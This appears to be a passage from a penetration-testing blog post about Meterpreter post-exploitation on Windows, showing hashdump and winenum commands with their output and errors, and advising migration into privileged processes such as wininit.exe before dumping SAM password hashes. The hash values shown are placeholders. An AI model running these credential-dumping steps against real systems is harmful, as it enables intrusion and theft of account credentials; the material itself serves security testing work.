Blog

Administrator:500:hash:hash:::

Guest:501:hash:hash:::

other_user1:1000:hash:hash:::

other_user2:1001:hash:hash:::

other_user3:1002:hash:hash:::

Administrator:500:hash:hash:::

Guest:501:hash:hash:::

other_user1:1000:hash:hash:::

other_user2:1001:hash:hash:::

other_user3:1002:hash:hash:::

meterpreter > hashdump

[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

meterpreter > run winenum

[*] Running Windows Local Enumerion Meterpreter Script

….

Migrating to other processes can sometimes be unstable, for example, sometimes migrating to the lsass.exe procress resulted in winenum finishing like this (after the software list should come the hash dumping, etc which is skipped with no error, other times I got a timeout error):

There are some funny things going on though, for example, even though hashdump would work after migrating to the wininit.exe process, run post/windows/gather/hashdump will not work straightaway!:

meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key…

[*] Calculating the hboot key using SYSKEY e6………………………………………………

[*] Obtaining the user list and keys…

[-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError stdapi_registry_enum_key: Operation failed: The handle is invalid.

[-] This script requires the use of a SYSTEM user context (hint: migrate into service process)

But .. if we run the hashdump command it works! ….:

meterpreter > hashdump

And right after that run post/windows/gather/hashdump will start to work!:

My only explanation is that perhaps the hashdump command “opens” something that is later expected by post/windows/gather/hashdump. Strange behaviour indeed 🙂

The point is that there could potentially be more things than “just” the hashes at stake and it might make sense to migrate the meterpreter payload into a more privileged process like, for example, wininit.exe (your mileage may vary) before and only then run the relevant post-exploitation scripts for best results (running at a higher privilege = less errors = more information gathered).